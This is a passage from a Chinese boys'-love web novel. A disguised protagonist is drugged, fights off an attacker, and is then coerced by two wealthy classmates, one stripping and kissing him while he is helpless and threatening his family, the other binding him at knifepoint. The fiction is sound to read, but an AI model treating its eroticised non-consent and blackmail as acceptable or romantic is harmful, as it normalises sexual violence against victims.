越是这种欲拒还迎,醉酒后迷糊不清的样子,更是吸引人,李书华心痒痒,给他找了一杯加料的酒,哄着江林喝了。 趁着人多,正要换地方,便偷偷让人把江林带了出来。 而他前脚刚走,后脚秦锐清便离开了酒桌,表情冷若冰霜,茶丰集团的赵总还打算给李书华报信来着,被秦锐清的保镖直接摔碎了手机,他行事极为霸道嚣张,丝毫没把这些人放在眼里,吃一堑长一智,他这次带了不少人出来,甚至联系了市里的警务人员。 江林晕晕乎乎地被带进别墅里,扔在沙发上,扬起秀色可餐的脸,水光淋漓的眼睛,正无助可怜地看着他。李书华让人先离开,被勾得直吞口水,像只狗似的想要趴在江林身上,用力撕开了他的衣领。 但下一瞬,他的头发被人狠狠扯住,后面传来的力气让他动弹不得,江林原本朦胧迷离的双眼变得冰冷厌恶,拽着他的头发将人从沙发上拖了下来,用力磕在茶几的尖角上,瞬间鲜血便从额角溢出来,皮开肉绽,带着要敲碎他颅骨的力道。 “啊!”李书华发出一声惨叫,他毫无防备,没想到明明被下了药的羔羊会变得这么凶悍,江林拿起桌上的烟灰缸又用力砸在他后脑勺上,鲜血直流,脸上、手上、衣服上都是温热的血。 地上的人毫无动静,不知道是死了还是晕了,江林松开手,指尖还有被拽断的黑发,他站起身来,身体踉跄了一瞬,朝着门口走去。 门恰好在这时打开了,秦锐清出现在门口,就看见浑身是血的江林,领子被撕坏了,露出大片肌肤,肌肤染血,白红交织。 他心中一惊,又瞧见躺在血泊中的男人,这才松了一口气。只见平时乖巧的少年,此刻却顶着一张结了冰的脸,眼神冷厉,像是应激的猫,见人就要咬,没看见他似的,滴血的手指在隐隐发抖,双眼通红,只想要往外逃。 秦锐清下意识地伸手拦住他,江林直接朝着他栽倒了下来,身体软绵绵的,他无力地靠在他身上,声音发抖,染上的哭腔,他问:“秦哥,我好像杀人了,怎么办啊?” “我好害怕,呜” 第32章 这场面太过于惊悚, 让跟来的人都惊呆了,秦锐清迅速让人控制住了李书华手下的人,手臂圈住江林, 看向戴着眼镜的小戴,皱了皱眉:“你让钱先生来处理这里的事情, 你给我找个医生来。” 江林药效发作,浑身瘫软无力,但并没有任何发/情的症状, 大概只是一个让人手脚无力的药。他一直被秦锐清抱着,上车之后也抱在怀里, 秦锐清保持着沉默,身上的衣服也被血迹染红,眉头蹙着,脑海中江林浑身是血的样子在脑海里挥之不去。 “没事了。”在察觉到怀里的人一直在发抖,秦锐清出声安慰道,手掌在他后背扶了扶, 安抚他失控的情绪, “其他的事情, 我会处理好的。” 江林意识清醒,但抬起手指都很费劲, 甚至说话都断断续续地, 无法说出太长的话,身体的力气像是被抽走了:“谢谢你。” 秦锐清闻到他身上的血腥味,他心神晃动一瞬, 他意识到也许他抱着的这个人是个极为危险的人,若是一般人,真的能中药之后, 还能强势反杀一个成年男人吗? 而且在做完这些之后,他真的会害怕得发抖吗? 但也许可能只是被逼到极限而爆发出来的力量也未可知。 秦锐清从来都没有小看过江林,现在更是将他摆放在了一个更高、更危险的位置,不敢再有半点轻视。 江林猜到像秦锐清这么多疑的人,就算是他做戏做全,真的中药,真的是差点被强,也会生出怀疑,他低声啜泣起来,细细密密的哭声,显得有些无助。 秦锐清心中怀疑散去一些,开始被江林那刹那展示出来的惊人生命力和气势动容,乖巧的少年让人心软,忍不住想要呵护,但桀骜的野马一般更加让人心猿意马。 “好了,不哭了,一切都会过去的。” “你今天很厉害。” 江林哭湿了秦锐清的肩膀,也让他冰冷的内心软化了一些。 秦锐清将人带回了自己的住处,江林根本连基本的站立都无法做到,身上的血都干涸,黏在衣服上,还有些细碎的肉末,触目惊心,也很恶心。 客厅的吊灯亮着,宽敞明亮的客厅,雇佣的保姆被人带了出去,没有看见浑身带血的两人,这个空间内只有他们两人,秦锐清可以让门外的保镖进来,但是他没有。 “我帮你换一件衣服,清洗一下血迹。”秦锐清垂眼看着他,似乎在征求他的意见。 江林轻轻张了张唇,却没有发出声音,只是红着眼看着他,眼底的惊恐之色还未完全褪去。 “或者我让门口的保镖来帮你洗?”他提出了另外一个提议。 这个意见一出,江林虚弱地开口,转动着眼珠子,“要你不要他们。” 秦锐清并不意外他会作出这个选择,因为相比陌生人,他现在应该更信任他这个同学。 江林被抱起,两人去了浴室,他被放在双人浴缸中,那染血的外套被脱下,被撕扯的短袖也从身体剥离,他脖子和手是染血最多的,裤子也被脱掉了,剩下的内裤秦锐清也没放过。 “不”江林微小的拒绝声被他忽略不计了,躺在冰冷的浴缸里,他像是一个展示的精美艺术品,如果可以,秦锐清很想将这个样子的少年画下来。 四肢无力的少年无法做出任何的反抗,唯一能表达情绪的双眼却只能红着眼破碎地看着你,秦锐清很喜欢他这种毫无攻击性的样子,不用担心被背叛,不用担心受伤,只需要索取,而江林会予取予求。 秦锐清打开水龙头,温热的水开始在浴缸里漫开。他抓起江林的手,放在水中仔细地清洗,他指甲里面都是血渍,那漂亮的手被染得血红,他捉着他的手指,认真地拂过一寸寸肌肤,搓洗着他的指尖,浴缸里的水被染红了,手指露出原本的白。 秦锐清一抬眼,就能看见江林眼尾泛红的眸子,他正警惕又害怕地看着他,很多第一次遭遇侵/犯的人一样,在面对陌生人的触碰时,会表现出超乎寻常的害怕。 江林看着秦锐清的眼神从原本的淡漠,到动容,再到现在的虎视眈眈,欲望的火苗是一步步点燃的,但他没有开口说话,只是静静看着他,眼尾滑过泪痕,莫名的哀戚。 也许秦锐清起初并没有其他心思,但随着时间的推移,眼前的食物散发着令人心惊的香味,便让他胃口大开了。 “你害怕我?”秦锐清用温水轻洗着他锁骨,血迹被冲淡,手指沾了水,指腹轻轻搓了搓他脸上的血痕,一点点将他浑身血迹洗干净。 “”江林没有说话,算是默认。 “你觉得我会对你做什么?”秦锐清明知故问,不可否认面对毫无反抗力的江林他真的十分心动,想将他拆骨吃肉。 但是李书华的下场摆在他眼前,那红艳艳的血,对他造成了不小的冲击,一定程度上压制了他蠢蠢欲动的心。 江林还是没有说话,疑似失去了所有的力气和手段。 秦锐清将他从水中捞起来,不顾他会将自己的衣服打湿,打横抱起往外走去,用浴巾将他身体的每一寸都擦拭干净才放在自己的床上,壁灯亮起,昏黄的颜色造成一种温暖的错觉。 “你没有杀人,李书华没死。”秦锐清收到了手下发来的短讯,第一时间告诉了江林这个“好消息”。 “”江林挣了挣眼,眼里有庆幸,但转而变成了浓浓的担忧。 “死了倒还干净,现在没死你有麻烦了。”秦锐清直接将他的担忧戳破,又低声问他:“你准备好解决这个麻烦了吗?” 威逼利诱这一套,是他们这些上位者与生俱来的本性,无师自通,善用自如。 江林光溜溜地躺在他床上,身上连条浴巾都没盖,肌肤莹白如玉,身体像个保养极好的藏品,泛着漂亮的光泽,美貌是利器,但也可能会刺伤自己。 “想让我帮你吗?”秦锐清垂眼睨着他,淡淡道:“你应该知道我想要什么吧。” 江林唇张了张,声音太小,隔得太远秦锐清听不见,他不由俯身而下,将耳朵凑过去,聆听他的允许,却只听见一句:“滚——” 他加重的语调,中气十足。 秦锐清冰冷的表情,越发冷若冰霜了,难以置信自己会听到这样的回答。 “让我被男人上我宁愿去坐牢。”江林咬牙切齿,一字一句,虽然气虚,但无比坚定。 秦锐清站直身体,拧眉看着他,依旧不知道这个看起来瘦弱可欺的少年,到底为什么这么硬气。 这就是他们所谓的坚贞? 誓死捍卫他的坚贞? 秦锐清觉得这很可笑,但天赐良机,让他就这么看着,什么都不做,实在觉得有些可惜,而且江林那点拒绝在他眼底还真不算什么。 他征求江林的同意,只是一个过程而已,结果是他决定的。 江林感觉阴影笼罩下来,高大的男人压了上来,手落在他腿上把玩,像是早就觊觎已久,左右他浑身无力,所以秦锐清毫无顾忌,另外一只手落在他脸侧,固定自己的脸,他亲了上来。 江林的手无力地落在他胸前推拒,力道小得可以忽略不计。 秦锐清凝视着他的眼睛,发现他眼底又积攒了眼泪,甚至牙关都没有力气合上,只能任由他的唇舌滑过他的齿列,为所欲为,吮着他的舌尖,见他眼尾滑过泪珠。 秦锐清发现自己太喜欢这种感觉了,不能挣扎的猎物,极大程度地满足了他某种欲望。 所以他吻得凶起来,没有发觉江林眼底一闪而过的冷冽,直到刺痛传来,脖子被利器差点戳破,刺痛让他迅速反应抽离,而下一秒手臂也被狠狠划伤。 原来江林刚刚无力地推拒从他胸前拿走了胸针,脖子上也破了皮正在流血,还好是胸针,杀伤力没有匕首这么大,不然下一个倒在血泊中的人就是秦锐清了。 江林喘着大气,捏着胸针的手用力得发白,因为用尽全身力气逼出来的身体潜能,让他看起来像个战士般,他双眼有些凶狠:“别逼我秦哥求你了。” 秦锐清的理智被皮开肉绽的手臂疼痛感拉了回来,目光冰冷地看着眼前的少年,明明处于弱者,却让人不敢小觑,那点火苗被泼了冷水,血顺着手指流下。 他毫无留手,竭尽全力。 “强迫别人真的很有意思吗?”江林竭力质问,脖子因为说话的吃力,而泛起青筋,漂亮的身躯也像是猎豹般微微弓起。 若是秦锐清今天想要成事,其实并不难,江林只是强弩之末,他刚刚只是毫无准备,又精虫上脑才会被他得逞。 但他却不想再继续下去了。 他不是崔嘉树那种毫无分寸感的神经病,如果是他,这么好的机会应该不会放过江林。 这种时候,秦锐清脑海中还能分析崔嘉树的心理,然后进行比较,大概也没有正常到哪里去。 他朝着江林一步一步地靠近,抬手轻而易举按下他抓着胸针的手,将胸针扔在地上,捏住江林的脸,望着他的眼睛,声音很冷:“我突然知道为什么李炎诞会愿意为了你反抗家族,崔嘉树为什么会宁愿和母亲决裂也不承认自己是异性恋了。” 江林直勾勾盯着他,听着他自言自语般地回答:“因为你真的很迷人啊,不光只是脸。” 秦锐清能看见江林眼中燃烧灵魂的美丽。 “我今天不会对你怎么样。”秦锐清的吻落在他眼尾,吻去了他滚落的泪珠,他不冷不淡地说着:“而且我会帮你解决李书华这个麻烦,让南华县再也没有人敢朝你伸一根手指。” “”江林怔了怔,似乎不敢相信眼前的人居然会突然改变了态度,“你要什么?” “吻怎么样?”秦锐清眼底闪过一丝狰狞,他依旧耿耿于怀蒙面舞会被认错人,“崔嘉树都可以有,没道理我不行吧。” 这个时候了,还在比。 他在推算,也许江林的底线是接吻。 “你们真的有病。”江林无力地翻了白眼。 “坐牢可不好受。”秦锐清继续动之以情,晓之以理,手臂上的血都滴到江林的腹部,他还像是感觉不到疼一般,冷淡地威胁着:“而且你坐牢了,有没有想过你的父母和小妹呢,他们会怎么样,我如果不管的话,他们可能会一起进去陪你。” 江林闭了闭眼,像是精疲力竭,无法再多说一个字。 “其实和我做交易,是不亏的。”秦锐清摸了摸他的脸,像是在把玩,好不容易出现个令人心动的玩意儿,他当然要将人攥在手里,后来者居上,他也不怕和人比较,不认为江林不会选择他。 “医生马上就到,你坚持一下。”秦锐清虽然很想当个君子,努力克制自己的欲望,可是眼前的少年,是他最喜欢的模样,所以他忍不住用嘴唇蹭了蹭他的脸颊,呼吸沉重了些,只觉得他肌肤都透着股香味。 江林见他靠得这么近,忍不住皱了皱眉,视线掠过他的眉眼,冷淡中夹杂着滚烫的欲念,所有的冷淡好似都是伪装和假象,只是为了裹挟欲望,两人视线对上,秦锐清的动作稍顿,面无表情地开口:“如果是崔嘉树在这里,你一定逃不掉。” “那我是不是还要感谢你?”江林气得脸颊泛红,拳头砸在他脸上,没什么力道,被抓了下来。 秦锐清依旧冷着脸,却低头来亲他的唇,缓声道:“不必了,我们之间交易而已。” 江林咬了他的舌尖,“但是我不想答应怎么办?” 秦锐清一拧,“为什么?” “你觉得我凭什么没缘由地帮你?” 江林心道,因为这些都是他惹出来的事情,否则他根本不可能和李书华这个变态有任何的交集。 但是面上江林没再说话,某种程度上他的目的达到了,借着秦锐清的手解决掉了这边乱七八糟的事情,保证家人的安全,虽然好像又招惹了一个神经病,可这也算他的目的之一吧,他的任务摆在这里,若是秦锐清一直置身事外,他的任务这辈子也完不成。 医生姗姗来迟,给江林检查了一下身体,给他注射了一些药剂之后离开了。 江林昏昏欲睡,强大的困意让他直接晕厥了过去,对于后面发生的事情都人事不知。 并不知道秦锐清像个变态似的吸肿了他的嘴唇。 如果不是被人打断,还不知道会发生什么呢 江林第二天醒来,浑身力气恢复,精神不错,撑起身体,却也觉得疲倦。他身上没穿衣服,独自睡在床上,他揉了揉脑袋,想起一件很重要的事情,他还没给父母报平安。 他连忙翻身下床,随意从衣柜里拿出一件衣服裤子套上,简单洗漱一下,就出了卧室,门一打开,他便瞧见悠闲坐在沙发上喝咖啡的秦锐清,但见他出来,只是冷冷淡淡地扫了他一眼。 江林觉得有些尴尬,不知道该用什么表情面对,抬脚走过去:“能不能借我一下手机?” 秦锐清静静地凝视着他,目光沉重而冷漠,伸手握住他的拳头,将人拽到腿上,在江林挣扎之际,拿出手机递到他面前。 江林挣扎的动作停了一瞬,知道这是拿到手机的代价,暂时忍了下来,先拨出电话,没几秒就接通了。 父母果然还在等他,一夜没睡,差点报警。 “爸妈,我没事啦,只是晚上玩得太晚了,就在同学家里睡着了,嗯嗯别担心我哈” 秦锐清睨着他脸上温柔的笑容,眉眼间涌出的温情,是他生活中极为罕见的东西,所以觉得稀奇,等江林挂掉电话,甚至都没有给他反应的时间,按住他的脖子吻了上来。 江林猝不及防被强吻,拧着眉,下意识就要伸手去扇他,但是秦锐清早有准备挡住他的手,伸手扣住他的手指,压制住他的动作,吻住他的唇珠,只是亲了两分钟,就松开了。 还不等江林发火骂人,秦锐清便开口道:“等等警察会过来带你去警局。” 江林瞬间停住了动作,抿了抿湿润的唇,一声不吭了。 秦锐清擦了擦他唇角的水渍,“李书华现在也在警局,你把昨晚和我说的,一五一十告诉警察就行。” “李书华会坐牢吗?”江林不确定地问,脸上出现些惴惴不安的情绪。 “会,他出不来了。”秦锐清就是要按死李书华,杀鸡儆猴,给那些蠢蠢欲动的人一个警告,而且李书华的罪证罄竹难书,按死他不难。 江林似松了一口气,他还坐在秦锐清腿上,所以他想下去。两人的关系一晚上像是亲密了许多。 “别动。”秦锐清按着他的腰,低头凑到他唇边。 江林紧闭着唇,瞪着他,像是不知道他什么意思。 “张嘴。”秦锐清只能命令道。 江林唇抿得更紧了,宛如紧闭的蚌壳,秦锐清眼神凌厉,似乎带着警告,冷声道:“孟南星。” “唉”江林应了一声,转而又被亲了。 没多久,江林吃完早餐,便被警察带走了,直到傍晚才从警局出来,门口停着一辆显眼的劳斯莱斯,后门被打开,司机做出邀请的姿势。 江林满身疲惫,懒得挣扎,只早晨吃了顿早餐,现在已经饿得前胸贴后背,懒得继续和秦锐清斗智斗勇。 一上车,江林被环住了腰身,拖着他坐在腿上,按下他的脖子接吻,江林嘴唇都被亲破皮了,他第一次一天这么高频率地接吻,所以这是秦锐清性/瘾的具体表现吗? “能不能先吃饭?”江林有气无力地说道,推开秦锐清的肩膀,脑瓜子嗡嗡的。 秦锐清被推开有些不满,却也没有表现出来,“司机就是去餐厅。” “我想回家。”江林蹙着眉,低声道:“我想家了。” “不行,今晚我就要走了,陪我吃顿晚餐。”秦锐清强势拒绝了他的请求。 江林脸上出现雀跃之色,唇角的笑意压都压不住,终于要走了! 秦锐清懒得和他计较,仰头重新吻了上去,临摹着他的唇 秦锐清吃完晚餐把江林拖进车里亲了二十分钟,才将人送回家。江林舔了舔有些肿的嘴角,眯着眼看着豪车在自己眼前消失,眼底闪烁着幽幽的光,脸上没什么表情,不管是崔嘉树也好,秦锐清也好,他都没什么感觉,装出来的喜怒哀乐也只是表演。 但好在江林经历了这么多世界,早已经习惯了这些,一睁眼就在扮演另外的人,循环往复,他都快要忘记自己真实的模样了。 精神上毫无波动,生理上正常的反应,但压制欲望,也是他的必修课。 江林回到家里,随意地安抚了一下家人们的情绪,便继续回房间睡觉了,就算是面对“家人”他也是孟南星,不是江林。 不过他依旧能从这份感情中汲取些许能量。 第二天傅清池也走了,江林没有送他,只是发了短信,祝他一路顺风 寒假转瞬即逝,他带着家人给他准备好的一些年货坐上了回金海的高铁,赵云月给江林准备了新年礼物,江林也给她准备了,是一个红色的围巾。 赵云月给他准备的是一瓶男士香水。 几个小时的高铁,在两人逐渐熟络地交谈中过去。 “哇,你真的申请了转专业吗?”赵云月惊讶地说道。 “嗯,申请之前就提交了,不知道有没有通过。”江林点头道,这是寒假前就做好的决定。 “应该没问题,我听说你这次考试成绩蛮好的。”赵云月笑眯眯地说道。 江林笑了笑,“希望吧。” 两人提前了三天来学校,赵云月是因为部门老师交代,江林则是想早点来找个兼职,虽然秦朗的管家给他发出了再次邀请,但想到他和秦锐清现在的关系,他不准备继续这份工作,害怕以秦锐清神经的性格,当着秦朗的面不分场合地亲他,带坏小孩,有碍市容。 江林回学校这件事谁都没有告诉,但是一回宿舍,他瞧见了许久未见的——崔嘉树。 他戴着金丝眼镜坐在寝室里,逆着光,看不清他脸上的神情,只瞧见他嘴角勾着的笑,以及手上把玩着的刀,刀锋寒芒闪烁,他身后还跟着一个保镖。 那一瞬间,江林感觉脊背汗毛竖起,下意识地拖着行李箱就想跑。 但是直接被人推了进去,门也狠狠关上。 第33章 崔嘉树曲腿坐在椅子上, 望着门口的少年,他穿着那身白色的羽绒服,乳白色的围巾遮住了半张脸, 露出弧度圆润的眸子,眸心中带着讶色, 似乎很惊讶会在这里看见他。 他好不容易挤出时间来找他,就是为了给江林一个惊喜。 “小星,好久不见啊。”崔嘉树笑眯眯地说道, 双眼毫无攻击性般软和,但是手中的刀却动得很快, 在手指间穿梭。 “这么久不见,不知道有没有想我呢?”崔嘉树对江林身后的保镖使了个眼色,保镖大力攥着江林的手臂,将人推到崔嘉树面前,箱子在混乱中落地,摔在地上发出沉默的声响。 江林冷着脸, 看向崔嘉树的双眼却没有半分害怕, 回答:“没有, 想起你,我怕恶心得睡不着。” 崔嘉树双眼依旧蓄着毫无温度的笑容, 眼神贪婪地舔舐着江林的样貌, 在寒假前那个晚上,他对江林的确有怨怼,痛恨他的不识好歹, 痛恨他的眼拙和不配合,但一个多月的时间发生了很多事情。 他对江林的恨意,也随着时间的推移变成了一种更加复杂的感情。 他对江林的执着, 变成了他反抗母亲的证明和荣耀,是他一尘不变、早已规定好路线的人生中的半点波澜。 他喜不喜欢江林都显得没那么重要了,重要的是他会攥住他,绝不可能放手。 “恶心?宝贝你有没有点新鲜的词语?”崔嘉树站起来,按着江林的肩膀坐下,自己居高临下地看着他,保镖在他的眼神中,将江林绑住了手脚,绳索缠住凳子,把他牢牢固定在椅子上。 江林手腕被束缚,确定暂时无法挣脱后,他不再做一些无谓的挣扎,双眼如刀直勾勾地盯着他,微微扬起下巴,感受着锋利的刀锋在贴近脸颊的冰冷寒气。 保镖背对着两人,拉开些距离,崔嘉树俯身落在江林耳畔,吻了吻他的耳朵尖尖上的小黑痣,他说话低沉:“说多了,我只会觉得你在奖励我。” “”江林感觉自己的脖子上被横着一把刀,刀刃摩梭着他的肌肤,带起一阵阵鸡皮疙瘩,身体控制不住地害怕战栗,耳朵被他亲吻着,耳垂被纳入温热的口腔,他忍不住蹙了蹙眉,却也不敢躲,因为他的刀锋正对着自己脆弱的脖颈。 “宝宝,我好想你啊。”崔嘉树发出喟叹的声音,仿佛对好久不见恋人的眷恋和依赖,他被治疗的十多个日夜里,他都是看着江林的视频度过的,直到龙雅定出国,他才趁机溜出来。 江林深深吸了一口气,喉结滚动一瞬,崔嘉树的吻顺着耳侧落在他脸颊的肌肤,落下一个个湿吻,落在唇角的吻浅尝辄止。他的餍足的目光对上江林冰冷的视线,却不觉得伤心,语气沉沉,单膝跪在他面前:“李炎诞那样的粗鲁的贱人怎么配让你碰?” “”江林依旧没有说话,只是静静地看着他,宿舍的空调吹得耳朵发烫。 “宝宝,视频中的你好性感。”崔嘉树眼神中染上点点痴迷的神色,临摹着他的眉眼,想象着他带汗用力的模样,手指轻轻拂过他身体的感觉一定很刺激吧,只是可能需要注意,因为他可能会将匕首刺入他的心脏。 “崔嘉树!”江林怒斥一声,气得脸颊通红,浑身都在发抖。 “不要生气。”崔嘉树放下手中的刀,捏着他的下颌,低头亲了亲他的嘴唇,满目的赞叹:“你不知道你有多好看,只是李炎诞实在是倒尽胃口。” “你脑子有问题!”江林实在没有当大尺度演员的爱好,眉眼冷峻。 “宝宝,我错了。”崔嘉树认真地认错,真诚地道歉:“那天我不该给你下药的,我这么爱你,如果你早点和我说,你只是因为喜欢上面,我们不会” “滚啊!你是不是听不懂人话?我要说多少遍,我不喜欢你?!”江林瞪着他,一字一句地说道。 “没关系。”崔嘉树笑着看着他,低头吻住他,按下他的后颈,舌尖钻进江林唇瓣,然后被狠狠咬了,舌尖蔓延出血腥味,刺痛传来,像是拿刀在舌头上划了一道口子。 崔嘉树抬手用力地掐住了他的下颌,让他不能再咬人,腥甜的味道在两人舌尖蔓延,混着血迹的水渍从嘴角淌出,江林拧着眉,舌尖被他吮着,手悄悄挣脱了绳索,一秒都没停顿。 一声清脆的巴掌声响起。 崔嘉树的脸被打偏到一边,他眉眼间有惊讶,刚转头,便又被抽了一巴掌,这时站在旁边背对着保镖们才迅速围了过来,抬手捉住他打人的手臂。 “别碰我!”江林唇瓣还带着血渍,目光如炬。 崔嘉树下意识地顶了顶脸侧火辣辣的肌肤,不管不顾地掐住他的下巴,当着众人的面吻了他,眼神带上些凶狠,碾着他的唇:“看来你更喜欢当着别人的面做/爱是吗?” 旁边戴着墨镜的男人低着头,回避着视线,不敢看。 江林的外套被扯开一些,崔嘉树的吻落在他喉结上,脖颈上轻轻吻出痕迹,他微微闭了闭眼,这样的姿势无形中刺激人的神经,让崔嘉树更加兴奋了。 外套被脱掉,露出里面米色的毛衣,崔嘉树跪在地上,掀起他的衣摆,吻了吻他的腹部肌肉,韧劲十足的腰线,他像个变态似的轻嗅着。 江林计算着时间,心中默数着,直到听见滴的一声,门锁打开,门口站着的大高身影,脸上的笑容在看见这个场景时,笑容凝固,瞳孔微缩。 被绑在椅子上的少年,手臂被反剪,穿着精致西服的崔嘉树当着保镖的面跪在他跟前,抱着他的腰,偏头看过来脸上洒下一片阴影。 “崔嘉树!你他妈的在干什么?”李炎诞面色瞬间阴沉,发出爆喝声,三步并做二步,冲了上来,一把拎起他的衣领,拳头砸了下来,金丝边眼镜瞬间便碎了。 保镖们连忙松开江林的手,前去保护崔嘉树,但李炎诞带来的人也瞬间出手,两方人纠缠在一起,江林趁机站起来,躲进了角落里,抽出纸擦了擦脸上的痕迹,面无表情地看着他们。 仇人见面分外眼红,李炎诞和崔嘉树是那次之后第一次碰面,新仇旧恨加在一起,场面一度非常混乱,门没关看热闹的人纷纷在门口探头,寝室也算宽敞,否则还真无法容纳下这么多人拳打脚踢。 “操大爷的,崔嘉树你怎么这么不要脸呢?”李炎诞邦邦就是两拳,低声咒骂道:“你别靠近他,你这种烂货” 崔嘉树面目狰狞,面向李炎诞没有任何的好脸色,他也趁机踹了他两脚,掐着他的脖子,嗤笑道:“你哪里来的脸说我啊,李炎诞,你这个主动摇尾乞怜求人操的婊/子。” 李炎诞脸色大变,一拳打在他嘴上,只想把崔嘉树这张臭嘴撕烂了,冷着脸说:“你胡说八道什么?我和他只是好兄弟而已” 崔嘉树笑了,被这头蛮牛缠上,牙齿都被打松了,他像是听见了什么笑话,痴痴笑起来,“一起上/床的好兄弟,可真好啊。” “李炎诞你骗得了别人,骗得了你自己吗?” 崔嘉树带来的人多,连忙过来帮他压制住李炎诞,李炎诞力气大,身手好,但是双拳难敌四手,挨了不少下,崔嘉树继续往他心上插刀:“你看看你眼巴巴地赶过来救他,你觉得他会施舍你一个眼神吗?” “不会的,因为他讨厌你,就像讨厌我一样,也恶心你啊。”崔嘉树吐出一口血,抓着他的头发,狠狠地砸在衣柜上,磕出血珠。 李炎诞挣扎起来,居然两个男人都压制不住,像个小蛮牛似的。他将崔嘉树撞到墙上,对着他的腹部就是狠狠两拳,恶狠狠地盯着他:“不是的,最少他会向我求救,他选择的人是我。崔嘉树,他如果讨厌我就不会主动亲我了,你看见了吧,在视频里。” “你就算看一万遍,也没有用,他不会看你一眼。” 崔嘉树心肝脾肺都在疼,不知道是被打的,还是别的什么原因。 这时寝室里已经一片狼藉,两个学校里的风云人物,此刻像是街头斗殴的小混混,面目狰狞互相攻讦着对方的痛处。 门外看热闹的同学,纷纷惊讶地捂住了嘴,双眼瞪得大大的,拿出手机来拍视频,这种百年难得一遇的场景,可以载入史册了! 【#惊!李崔二少为了男人大打出手,疑似爱而不得,胡扯头花?#】 标签一出,瞬间变成了论坛的热榜。 【1楼:我靠!我靠!本人在现场!太刺激了!!!】 【2楼:救命啊!我只知道崔是同性恋,原来李也是啊!这个世界是不是颠了。】 【3楼:还在打吗?我现在逃课还来得及吗?】 【4楼:没打了,我靠,原来那么有钱的少爷也会像村妇一样互骂?】 【5楼:骂什么了骂什么了,快告诉我,我急死了呜呜呜。】 【6楼:骂的很脏,不敢说,怕被真实。】 【109楼:主角是谁?】 【110楼:还记得那个贫困生吗?M开头的。不知道就去论坛搜一下。】 【111楼:真是他啊?牛逼,真的牛逼啊。】 【112楼:还有谁不知道,他不光长得牛逼,这次期末考试,逻辑学、高数、经济学全部都是满分,甩开第二名四五十分!】 【113楼:我靠?!这么牛?】 【114楼:!!!!震惊我全家!高数!逻辑学!我傻了,我们班三十个人,二十个没及格准备补考,他满分!!】 画风逐渐跑偏,金海南大商学院这群人,不是草包蠢蛋,相反他们从小接受高端的教育,数不清的补习班,这次多人不及格不是因为他们太蠢,而是这次题目的确有难度,所以才会有这么多人惊讶江林的好成绩。 【133楼:我之前就说他帅了吧,哥们是真帅啊。】 【134楼:之前谁看见他不是骂啊,骂他死装,骂他穷酸鬼的那批人呢?滚出来道歉】 【135楼:还有说他每天在图书馆假努力的人,啧啧,吓死了吧。】 很快这个帖子便被封了,但像是雨后春笋般出现的是关于江林的帖子,不再满是嘲讽和谩骂,更多是对他美丽的欣赏和能力的佩服,这些帖子和从前那些阴阳贴沉在一起,显得极为讽刺。 这场互殴没有持续太久,十几保安将他们分别保护起来,一排黑色保姆车停在下面,崔嘉树被‘请’了回去,李炎诞让保镖回去,自己独自留在寝室。 寝室里镜子碎片落了一地,行李箱孤零零地躺在地上,桌上的保温杯也咕噜咕噜到处滚着,椅子也坏掉了两条。李炎诞坐在完好的椅子上,脸上带着青紫泛红的伤,身上也传来阵阵钝痛,但心更难受,崔嘉树的话像是尖刀似的划破了他的心脏,传来绞痛。 他没办法自欺欺人。 江林不知道去了哪里,所以他根本就不关心他的死活,那些奋不顾身就显得有些凄凉。 但转念一想,李炎诞又释然了,江林身子弱,性格软,也不喜欢男人,所以害怕他、躲着他这些都是正常的。 只是他是一定要保护好他的。 李炎诞伤痛难忍,最终还是决定先去医院看看,下一瞬,门打开,江林回来了。 少年视线落在他身上,李炎诞脊背下意识的挺直,原本灰败的眸子,瞬间变得清亮,直勾勾的看着他。 “你没事吧,炎哥。”江林手上拿着两人的晚餐,还有买来的外伤药。 李炎诞嗓子哑得不行,摇头道:“没事儿,就是受了点皮外伤。” 江林眼底带着担忧和自责:“对不起,我又让你受伤了。” “没关系,没关系,这都是我应该做的。”李炎诞舔了舔下唇,一颗心又像是活了起来,被重新注入了能量,他扫了一眼他手上的东西:“是给我买的吗?” “嗯,我给你先上药吧,如果太严重还是要去医院的。”江林拧着眉,轻轻扫过他的脸,忍不住叹息一声:“我没想到崔嘉树会这么快找到我,原本我只是想找哥聚一聚的。” “以后如果再遇见这种神经病一定要给我打电话。”李炎诞郑重其事地说道,主动露出脸上的伤,让江林给自己上药。 “嗯。”江林应了一声,垂着睫毛给他上药,秀美的眉眼像是带着雾气的淡淡远山,如画如梦,宛如捉不住的飘渺云。 李炎诞视线落在他的唇上,难以控制地咽了咽口水,缓缓低下头,克制着自己的眼神。他又脱掉上衣,展示着自己的肌肉和瘀青,块状分明的肌肉微微鼓起有力的弧度,胳膊上、背上、胸前都有青紫或者红紫的痕迹。 江林给他受伤的地方涂了点药,然后用手给他揉开,细腻的指腹轻轻揉着,缓解疼痛,他很认真,也很严肃,眼中没有半点暧昧的神情,只是在认真地推拿揉搓。 李炎诞敞着胸肌,口水咽个没停,在安静的空间内,声音不小。 “炎哥你很疼吗?还是很紧张?”江林抬眼,视线对上他的,黑眸疑惑。 李炎诞闪躲着眼神,才小声开口道:“嗯有点难受。” “但是可以忍耐,不用去医院,你给我揉揉就好了。” “哦,好。”江林乖巧应道,雪白的手和麦色的肌肤映衬着,显得更加秀气,他轻咳一声。 李炎诞就下意识地握住他的手,满目关心:“你怎么了?感冒了吗?” “没事。”江林看了一眼他的手,李炎诞连忙松开。 “这边天气太冷,我可能还有点不适应。”江林解释道。 就在这时,江林的手机响起。 “喂?”江林轻声道。 “下来。”电话里的男生冷淡,带着一点淡淡的冷冽,和金海的冬天很配。 是秦锐清。 李炎诞的余光飘着他,江林稍稍蹙眉:“现在吗?” “对,我在寝室楼下。”秦锐清低声道。 “哦,但是我还没吃饭。”江林买的饭都冷了。 “下来。”言简意赅地两个字。 电话被挂断了。 “怎么了?”李炎诞见他露出一点为难的神色,主动开口问。 江林转头看过去,坦白道:“秦哥说要请我们吃饭,你去吗?” 虽然秦锐清根本没有说请李炎诞,但他也不能扔下炎哥不管吧?他可是刚刚为自己冲锋陷阵过。 李炎诞心中闪过一丝疑惑,江林和秦锐清什么时候关系这么好了? “好啊,我也很久没有见到老秦了。” 江林又看了一眼乱七八糟的宿舍,李炎诞立刻说道:“我们先出去吃饭,我让人来打扫,回来就干净了。” 江林面露感激,“幸好有炎哥在。” 寒风猎猎呼啸,吹得发丝凌乱,衣袍鼓动,天悄然暗沉。一辆路虎安静地停在路边,路过的学生好奇地张望,却未停留,直到江林和李炎诞的身影出现,下午故事的主人公出现,让人走不动道。 两人一起上车。 秦锐清黑眸沉沉,没想到江林身后还有个李炎诞,今天下午发生的事情,秦锐清还没得到消息,他一天都在开会,他原本坐在中间,不得不往旁边挪了挪。 